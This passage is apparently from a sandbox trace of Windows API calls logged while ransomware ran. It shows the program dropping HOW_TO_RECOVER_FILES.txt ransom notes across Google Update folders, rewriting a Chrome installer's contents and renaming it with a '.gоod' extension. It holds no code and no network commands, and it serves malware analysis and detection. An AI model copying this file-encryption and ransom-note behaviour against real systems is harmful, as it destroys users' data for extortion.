ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4529593c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0878)) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0122.392] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe.gоod")) returned 1 [0122.393] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7b [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0122.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0122.393] GetFileType (hFile=0x768) returned 0x1 [0122.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0122.393] GetFileType (hFile=0x768) returned 0x1 [0122.394] WriteFile (in: hFile=0x768, lpBuffer=0x357c730*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x357c730*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0122.869] CloseHandle (hObject=0x768) returned 1 [0122.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0122.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0122.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0122.871] GetFileType (hFile=0x768) returned 0x1 [0122.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0122.871] GetFileType (hFile=0x768) returned 0x1 [0122.871] WriteFile (in: hFile=0x768, lpBuffer=0x37bc0d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x37bc0d0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0122.872] CloseHandle (hObject=0x768) returned 1 [0122.872] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0122.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0122.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\download\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0122.873] GetFileType (hFile=0x768) returned 0x1 [0122.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0122.873] GetFileType (hFile=0x768) returned 0x1 [0122.873] WriteFile (in: hFile=0x768, lpBuffer=0x37bf938*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x37bf938*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0122.874] CloseHandle (hObject=0x768) returned 1 [0122.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0122.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install", lpFilePart=0x0) returned 0x2d [0122.876] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 1 [0122.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0 [0122.876] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0122.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0122.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0122.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install", lpFilePart=0x0) returned 0x2d [0122.877] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.877] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.877] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 1 [0122.877] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.877] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0122.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0122.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0122.878] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}", lpFilePart=0x0) returned 0x54 [0122.878] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.879] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.879] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0122.879] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.879] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0122.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0122.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0122.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}", lpFilePart=0x0) returned 0x54 [0122.879] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.879] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0122.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0 [0122.880] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0122.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0122.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x76 [0122.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0122.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x37dd1a0 | out: lpFileInformation=0x37dd1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868)) returned 1 [0122.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0122.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x76 [0122.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0122.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.881] GetFileType (hFile=0x768) returned 0x1 [0122.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0122.881] GetFileType (hFile=0x768) returned 0x1 [0122.881] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0122.881] ReadFile (in: hFile=0x768, lpBuffer=0x37dd6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37dd6c8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0122.883] CloseHandle (hObject=0x768) returned 1 [0122.883] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x76 [0122.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0122.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.883] GetFileType (hFile=0x768) returned 0x1 [0122.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0122.883] GetFileType (hFile=0x768) returned 0x1 [0122.884] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x2ea0868 [0122.884] WriteFile (in: hFile=0x768, lpBuffer=0x37e0128*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37e0128*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0122.885] CloseHandle (hObject=0x768) returned 1 [0124.231] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x76 [0124.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0124.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0124.231] GetFileType (hFile=0x20c) returned 0x1 [0124.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0124.231] GetFileType (hFile=0x20c) returned 0x1 [0124.231] ReadFile (in: hFile=0x20c, lpBuffer=0x35658d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x35658d8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0124.259] CloseHandle (hObject=0x20c) returned 1 [0124.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x76 [0124.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0124.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0124.260] GetFileType (hFile=0x20c) returned 0x1 [0124.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0124.260] GetFileType (hFile=0x20c) returned 0x1 [0124.260] WriteFile (in: hFile=0x20c, lpBuffer=0x35645a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x35645a8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0124.260] CloseHandle (hObject=0x20c) returned 1 [0124.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x76 [0124.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe.gоod", lpFilePart=0x0) returned 0x7b [0124.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0124.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4647e11c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0878)) returned 1 [0124.260] SetThreadErrorMode 